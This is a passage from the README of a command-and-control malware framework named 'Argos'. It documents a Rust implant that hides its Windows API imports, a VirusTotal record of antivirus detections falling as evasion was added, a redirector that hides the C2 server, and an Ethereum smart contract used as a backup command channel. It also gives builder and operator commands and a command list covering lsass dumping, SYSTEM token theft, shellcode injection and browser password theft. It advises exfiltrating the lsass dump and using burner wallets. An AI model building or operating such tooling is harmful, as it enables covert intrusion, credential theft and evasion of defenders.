`GlobalMemoryStatusEx` | Static import | PEB hash | | `GetSystemMetrics` | Static import | PEB hash | | `MoveFileExW` | Static import | PEB hash | | `WinHttpOpen` + 7 WinHTTP fns | Static import | PEB hash (winhttp loaded dynamically) | | `RegOpenKeyExW` / `RegQueryValueExW` | Static import | PEB hash (advapi32 loaded dynamically) | | `GetComputerNameW` / `GetTempPathW` / `CreateMutexW` | Static import | PEB hash | | `AmsiScanBuffer` | `GetProcAddress` call | PEB hash | | `EtwEventWrite` | `GetProcAddress` call | PEB hash | **Current IAT:** only Rust runtime entries (`ntdll.dll` — `NtWriteFile`, `RtlAllocateHeap`, etc.). Identical to any other Rust Windows binary. ### 9.14 VirusTotal Detection History | Build | Detections | What changed | |-------|------------|--------------| | Initial (winapi crate, embedded shellcode) | 14/72 | Baseline | | + PEB walking for injection APIs | 9/72 | Injection APIs removed from IAT | | + Staged payload + full winapi removal | 3/72 | Zero high-entropy blob, near-empty IAT | | + fake_init() ML profile shifting | TBD | Next scan | Remaining 3 at the 3-detection stage: Bkav (hash-based, changes on rebuild), Kaspersky (heuristic `Agentb.gen`), SecureAge (AI model). Target of `fake_init()`: Kaspersky + SecureAge. ## 10. C2 Redirector Nginx-based reverse proxy shields the real C2 IP from the target network. Victim → Redirector VPS (disposable, public IP) → Hidden C2 VPS (private) **Port 8443 (TCP):** Layer-4 blind proxy — does NOT terminate TLS. Agent's certificate validates end-to-end. Burn the redirector IP, spin up a new VPS without touching the C2 database. **Port 80/443 (HTTP):** Layer-7 proxy for React dashboard operator traffic. ## 11. Blockchain C2 Channel An optional, censorship-resistant secondary command channel. Commands are published as encrypted events on an Ethereum smart contract; agents poll the chain and execute them independently of the TLS connection. The primary TLS C2 is untouched — blockchain is purely additive. ### 11.1 Threat Model | Scenario | Primary TLS | Blockchain channel | |----------|-------------|--------------------| | Normal operation | Active | Redundant backup | | C2 IP blocked / burned | Dead | **Still receives commands** | | DNS sinkholed | Dead | **Still receives commands** | | Network egress filtered (HTTPS out only) | Dead | **Still receives commands** (HTTPS RPC) | The tradeoff: commands are visible on-chain (encrypted), latency is ≥1 block (~12s Ethereum, configurable), and results still require the TLS channel (blockchain is receive-only on the agent side). ### 11.2 Components | File | Role | |------|------| | `blockchain_c2/ArgosBeacon.sol` | Solidity smart contract — stores and emits encrypted commands | | `blockchain_c2/send_command.py` | Operator tool — encrypts command and sends transaction | | `rust_agent/src/blockchain.rs` | Agent polling module — `eth_getLogs` every 60s | | `server/blockchain_relay.py` | Server-side monitor — logs dispatched commands to `audit_logs` | ### 11.3 Smart Contract (`ArgosBeacon.sol`) contract ArgosBeacon { address public immutable owner; uint256 public nonce; event CommandSet(bytes encryptedCmd, uint256 indexed nonce); function setCommand(bytes calldata encryptedCmd) external { require(msg.sender == owner, "unauthorized"); nonce++; emit CommandSet(encryptedCmd, nonce); } } Only the deployer wallet can call `setCommand`. Nonce is indexed so agents detect new commands without decoding log data. Deploy via [Remix IDE](https://remix.ethereum.org) (Sepolia testnet recommended for testing). ### 11.4 Encryption Format Commands use the **same AES-256-GCM format** as the TLS channel: wire format: base64( IV[16] || TAG[16] || CIPHERTEXT ) The `send_command.py` operator tool reads `AES_KEY_HEX` from `server/.env` and produces the correct ciphertext. The Rust agent calls the same `decrypt_data()` function used for TLS messages. ### 11.5 Agent Polling (`blockchain.rs`) startup └─ if BLOCKCHAIN_CONTRACT == "" → return (no-op, zero overhead) └─ compute keccak256("CommandSet(bytes,uint256)") → event topic └─ from_block = eth_blockNumber() └─ last_nonce = 0 loop (every 60s) └─ eth_getLogs(contract, topic, fromBlock) └─ for each log: ├─ extract nonce from topics[1] (indexed) ├─ skip if nonce ≤ last_nonce (dedup) ├─ ABI-decode bytes from log.data ├─ AES-256-GCM decrypt → command string └─ push to blockchain_queue (Arc>>) beacon loop (main thread) └─ drain blockchain_queue → run_cmd() → send result over TLS ### 11.6 Operator Workflow **Step 1 — Deploy contract (once per operation):** Remix IDE → compile ArgosBeacon.sol (0.8.20) → deploy to Sepolia Copy contract address **Step 2 — Build agent with blockchain channel:** python builder.py \ --host 192.168.1.50 \ --port 8443 \ --blockchain-contract 0xYourContractAddress \ --blockchain-rpc https://sepolia.infura.io/v3/YOUR_KEY **Step 3 — Send command when TLS C2 is down:** pip install web3 python blockchain_c2/send_command.py \ --rpc https://sepolia.infura.io/v3/YOUR_KEY \ --private-key 0xYourOperatorPrivateKey \ --contract 0xYourContractAddress \ --cmd "whoami" **Step 4 — Agent picks up on next poll (≤60s), result arrives over TLS.** ### 11.7 Server Relay (Optional Docker Service) `blockchain_relay.py` watches the contract for `CommandSet` events and writes each dispatched command to the `audit_logs` table so it appears in the operator dashboard. # Start with blockchain relay docker compose --profile blockchain up -d # Without relay (normal operation) docker compose up -d Requires `BLOCKCHAIN_CONTRACT` and `BLOCKCHAIN_RPC` in `server/.env`. ### 11.8 Operational Security Notes - The contract address is baked into the agent binary at build time — treat it as sensitive - Use a fresh burner wallet per operation for `send_command.py`; never reuse the deploy wallet - Commands are publicly visible on-chain (AES-encrypted, but the fact that a transaction was sent is visible) - Ethereum Sepolia testnet is free and sufficient for testing; mainnet costs real ETH per command - `eth_getLogs` over HTTPS is indistinguishable from normal web traffic; no unusual port activity ## 12. Configuration Reference All configuration via `server/.env`. Auto-generated secrets are persisted on first boot. | Variable | Default | Auto-Generated | Description | |----------|---------|---------------|-------------| | `HTTP_HOST` | `0.0.0.0` | — | Sanic API bind address | | `HTTP_PORT` | `8000` | — | Sanic API port | | `CORS_ORIGINS` | `*` | — | **Set to your frontend domain in production** | | `LISTENER_HOST` | `0.0.0.0` | — | Agent listener bind address | | `LISTENER_PORT` | `8443` | — | Agent TLS port | | `STAGER_PORT` | `8080` | — | HTTP stager port (loader downloads payload here) | | `MGMT_HOST` | `127.0.0.1` | — | IPC socket — never expose externally | | `MGMT_PORT` | `5555` | — | IPC port | | `MGMT_SECRET` | weak default | — | **Set a strong random value in production** | | `ADMIN_USERNAME` | — | `admin_` | Dashboard login | | `ADMIN_PASSWORD` | — | `token_urlsafe(16)` | Dashboard password | | `JWT_SECRET` | — | `token_hex(32)` | JWT signing key | | `AES_KEY_HEX` | — | `token_hex(32)` | Agent encryption key — never set manually | | `TLS_COUNTRY` | `UK` | — | TLS cert field | | `TLS_STATE` | `London` | — | TLS cert field | | `TLS_ORG` | `IT Solutions` | — | TLS cert field | | `TLS_CN` | `update.windows.com` | — | TLS cert CN (mimics legit Microsoft traffic) | | `DB_PATH` | `/data/argos.db` | — | SQLite path | | `MAX_RESULTS` | `200` | — | In-memory result buffer per agent | | `BLOCKCHAIN_CONTRACT` | *(disabled)* | — | ArgosBeacon contract address — leave empty to disable blockchain channel | | `BLOCKCHAIN_RPC` | *(disabled)* | — | Ethereum JSON-RPC endpoint URL | | `BLOCKCHAIN_POLL_INTERVAL` | `30` | — | Relay poll interval in seconds (server-side relay only) | ## 13. Deployment Guide ### 13.1 Docker (Recommended) cd server cp .env.example .env # Edit: CORS_ORIGINS, MGMT_SECRET, TLS_CN docker compose up -d # Agent TLS: :8443 # Stager HTTP: :8080 # REST API: :8000 # Frontend: :3000 ### 13.2 Docker with Blockchain Relay (Optional) cd server # Add to .env: # BLOCKCHAIN_CONTRACT=0xYourContractAddress # BLOCKCHAIN_RPC=https://sepolia.infura.io/v3/YOUR_KEY docker compose --profile blockchain up -d # All standard services + blockchain-relay container ### 13.3 Manual # Terminal 1 — Listener + Stager cd server && python listener.py # Terminal 2 — REST API cd server && python management_console.py # Terminal 3 — Frontend cd frontend && npm install && npm run dev # Terminal 4 — Blockchain relay (optional) cd server && python blockchain_relay.py ### 13.4 Build: Rust Agent + Loader (Full Stealth) Requires: Rust + Cargo, Donut binary at `loader/donut/donut.exe`. # Start server first — generates AES_KEY_HEX in server/.env cd server && python listener.py & python builder.py \ --name svcupdate \ --host 192.168.1.50 \ --port 8443 \ --loader \ --stager-port 8080 # Artifacts: # svcupdate_loader.exe ← deploy to target # server/payload.enc ← served automatically by the stager thread ### 13.5 Build: Rust Agent + Blockchain Channel python builder.py \ --name svcupdate \ --host 192.168.1.50 \ --port 8443 \ --blockchain-contract 0xYourContractAddress \ --blockchain-rpc https://sepolia.infura.io/v3/YOUR_KEY # Agent polls blockchain every 60s as fallback when TLS C2 is unreachable ### 13.6 Build: Rust Agent (Direct) python builder.py \ --name svcupdate \ --host 192.168.1.50 \ --port 8443 \ --interval 10 # Output: svcupdate.exe ### 13.7 Agent Commands Quick Reference | Command | Description | |---------|-------------| | `screenshot` | Screen capture → base64 JPEG (never written to disk) | | `persist` / `unpersist` | Registry Run key persistence on/off | | `portscan [subnet]` | LAN port scan (auto-detect /24) | | `lsass_dump` | Dump lsass.exe (admin required) | | `impersonate` | SYSTEM token theft via winlogon | | `timestomp ` | Copy NTFS timestamps from ref to target | | `shellcode ` | In-process shellcode execution (NTAPI) | | `inject ` | Remote process shellcode injection (NTAPI) | | `_sleep ` | Change beacon interval dynamically | | `hardware_recon` | Full hardware report | | `net_recon` | Full network recon report | | `sys_recon` | Full system recon report | | `cred_recon` | Full credential harvest | | `dump_passwords` | Browser saved passwords (DPAPI) | | `` | Execute arbitrary command (30s timeout) | ## Known Limitations & Security Notes - `CORS_ORIGINS = "*"` default — set to your specific frontend origin in production - `MGMT_SECRET` default is weak — override before any real deployment - `docker-compose.yml` sets `MGMT_HOST: "0.0.0.0"` for container networking — acceptable within Docker's isolated bridge network only - TLS private key written to disk without passphrase (`NoEncryption()`) - LSASS dump writes to disk — exfiltrate and delete immediately - Loader `self_delete()` requires administrator privileges; silently skips otherwise - `GetSystemMetrics` (screen width check) silently skipped if user32.dll is not yet loaded — may not fire in early-session sandboxes - Donut shellcode pattern is recognized by Defender — pair with process hollowing or indirect syscalls for hardened environments - Blockchain channel is receive-only on the agent — results always require the TLS C2 to be reachable - `blockchain_relay.py` uses a precomputed `CommandSet` event topic constant; if the contract ABI changes the constant must be recomputed - Each `send_command.py` invocation costs a real on-chain transaction fee (use Sepolia testnet during development)
标签:C2框架, DNS 反向解析, Docker, IP 地址批量处理, Rust, 可视化界面, 安全学习资源, 安全防御评估, 客户端加密, 网络信息收集, 网络流量审计, 请求拦截, 逆向工具